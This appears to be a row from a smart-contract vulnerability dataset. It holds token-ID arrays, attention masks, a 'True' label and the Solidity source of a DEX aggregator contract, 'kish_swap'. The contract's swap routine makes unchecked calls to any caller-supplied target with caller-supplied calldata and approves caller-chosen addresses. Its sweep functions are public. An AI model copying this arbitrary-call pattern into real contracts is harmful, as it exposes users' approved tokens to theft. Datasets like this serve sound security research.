1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma abicoder v2;
interface IPayment {
function collectETH() external returns (uint amount);
function collectTokens(address token) external returns (uint amount);
function setAdmin(address newAdmin) external ;
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint a, uint b) internal pure returns (bool, uint) {
unchecked {
uint c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint a, uint b) internal pure returns (bool, uint) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint a, uint b) internal pure returns (bool, uint) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint a, uint b) internal pure returns (bool, uint) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint a, uint b) internal pure returns (bool, uint) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
//
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Payment is IPayment, Ownable {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
address public immutable WETH_ADDRESS;
address public admin;
receive() external payable {}
constructor(address _WETH, address _admin) {
WETH_ADDRESS = _WETH;
admin = _admin;
}
function approve(
address addressToApprove,
address token,
uint amount
) internal {
if (IERC20(token).allowance(address(this), addressToApprove) < amount) {
IERC20(token).safeApprove(addressToApprove, 0);
IERC20(token).safeIncreaseAllowance(addressToApprove, amount);
}
}
function balanceOf(address token) internal view returns (uint bal) {
if (token == ETH_ADDRESS) {
token = WETH_ADDRESS;
}
bal = IERC20(token).balanceOf(address(this));
}
function pay(
address recipient,
address token,
uint amount
) internal {
if (amount > 0) {
if (recipient == address(this)) {
if (token == ETH_ADDRESS) {
IWETH(WETH_ADDRESS).deposit{ value: amount }();
} else {
IERC20(token).safeTransferFrom(_msgSender(), address(this), amount);
}
} else {
if (token == ETH_ADDRESS) {
if (balanceOf(WETH_ADDRESS) > 0) IWETH(WETH_ADDRESS).withdraw(balanceOf(WETH_ADDRESS));
Address.sendValue(payable(recipient), amount);
} else {
IERC20(token).safeTransfer(recipient, amount);
}
}
}
}
function collectETH() public override returns (uint amount) {
if (balanceOf(WETH_ADDRESS) > 0) {
IWETH(WETH_ADDRESS).withdraw(balanceOf(WETH_ADDRESS));
}
if ((amount = address(this).balance) > 0) {
Address.sendValue(payable(admin), amount);
}
}
function collectTokens(address token) public override returns (uint amount) {
if (token == ETH_ADDRESS) {
amount = collectETH();
} else if ((amount = balanceOf(token)) > 0) {
IERC20(token).safeTransfer(admin, amount);
}
}
function setAdmin(address newAdmin) public override onlyOwner {
require(newAdmin != admin, "A_I_E"); // Admin is exist
admin = newAdmin;
}
}
//
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IforbitspaceX is IPayment {
struct SwapParam {
address addressToApprove;
address exchangeTarget;
address tokenIn; // tokenFrom
address tokenOut; // tokenTo
bytes swapData;
}
function aggregate(
address tokenIn,
address tokenOut,
uint amountInTotal,
address recipient,
SwapParam[] calldata params
) external payable returns (uint amountInAcutual, uint amountOutAcutual);
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint value);
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
unchecked {
uint oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IWETH is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
function withdraw(uint) external;
}
//
contract kish_swap is IforbitspaceX, Payment, ReentrancyGuard {
using SafeMath for uint;
using Address for address;
constructor(address _WETH, address _admin) Payment(_WETH, _admin) {}
function aggregate(
address tokenIn,
address tokenOut,
uint amountInTotal,
address recipient,
SwapParam[] calldata params
) public payable override nonReentrant returns (uint amountInActual, uint amountOutActual) {
// check invalid tokens address
require(!(tokenIn == tokenOut), "I_T_A");
require(!(tokenIn == ETH_ADDRESS && tokenOut == WETH_ADDRESS), "I_T_A");
require(!(tokenIn == WETH_ADDRESS && tokenOut == ETH_ADDRESS), "I_T_A");
// check invalid value
if (tokenIn == ETH_ADDRESS) {
amountInTotal = msg.value;
} else {
require(msg.value == 0, "I_V");
}
require(amountInTotal > 0, "I_V");
// receive tokens
pay(address(this), tokenIn, amountInTotal);
// amountAcutual before
uint amountInBefore = balanceOf(tokenIn);
amountOutActual = balanceOf(tokenOut);
// call swap on multi dexs
_swap(params);
// amountAcutual after
amountInActual = amountInBefore.sub(balanceOf(tokenIn));
amountOutActual = balanceOf(tokenOut).sub(amountOutActual);
require((amountInActual > 0) && (amountOutActual > 0), "I_A_T_A"); // incorrect actual total amounts
// refund tokens
pay(_msgSender(), tokenIn, amountInBefore.sub(amountInActual, "N_E_T")); // not enough tokens
pay(recipient, tokenOut, amountOutActual.mul(9995).div(10000)); // 0.05% fee
// sweep tokens for owner
collectTokens(tokenIn);
collectTokens(tokenOut);
}
function _swap(SwapParam[] calldata params) private {
for (uint i = 0; i < params.length; i++) {
SwapParam calldata p = params[i];
(
address exchangeTarget,
address addressToApprove,
address tokenIn,
address tokenOut,
bytes calldata swapData
) = (p.exchangeTarget, p.addressToApprove, p.tokenIn, p.tokenOut, p.swapData);
// approve(addressToApprove, tokenIn, type(uint).max);
approve(addressToApprove, tokenIn, balanceOf(tokenIn));
uint amountInActual = balanceOf(tokenIn);
uint amountOutActual = balanceOf(tokenOut);
exchangeTarget.functionCall(swapData, "L_C_F"); // low-level call failed
// amountInActual = amountInActual.sub(balanceOf(tokenIn));
// amountOutActual = balanceOf(tokenOut).sub(amountOutActual);
bool success = ((balanceOf(tokenIn) < amountInActual) && (balanceOf(tokenOut) > amountOutActual));
require(success, "I_A_A"); // incorrect actual amounts
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
10975,
8490,
2863,
11113,
11261,
4063,
1058,
2475,
1025,
8278,
24531,
25219,
3372,
1063,
3853,
8145,
11031,
1006,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
1007,
1025,
3853,
8145,
18715,
6132,
1006,
4769,
19204,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
1007,
1025,
3853,
2275,
4215,
10020,
1006,
4769,
2047,
4215,
10020,
1007,
6327,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
1007,
1063,
4895,
5403,
18141,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
2065,
1006,
1039,
1026,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1039,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
20528,
7542,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
1007,
1063,
4895,
5403,
18141,
1063,
2065,
1006,
1038,
1028,
1037,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1037,
1011,
1038,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
24856,
1997,
2048,
27121,
24028,
1010,
2007,
2019,
2058,
12314,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
12274,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
1007,
1063,
4895,
5403,
18141,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
8311,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
2709,
1006,
2995,
1010,
1014,
1007,
1025,
21318,
3372,
1039,
1027,
1037,
1008,
1038,
1025,
2065,
1006,
1039,
1013,
1037,
999,
1027,
1038,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
1006,
2995,
1010,
1039,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2407,
1997,
2048,
27121,
24028,
1010,
2007,
1037,
2407,
2011,
5717,
5210,
1012,
1008,
1008,
1035,
2800,
2144,
1058,
2509,
1012,
1018,
1012,
1035,
1008,
1013,
3853,
3046,
4305,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
22017,
2140,
1010,
21318,
3372,
1007,
1063,
4895,
5403,
18141,
1063,
2065,
1006,
1038,
1027,
1027,
1014,
1007,
2709,
1006,
6270,
1010,
1014,
1007,
1025,
2709,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
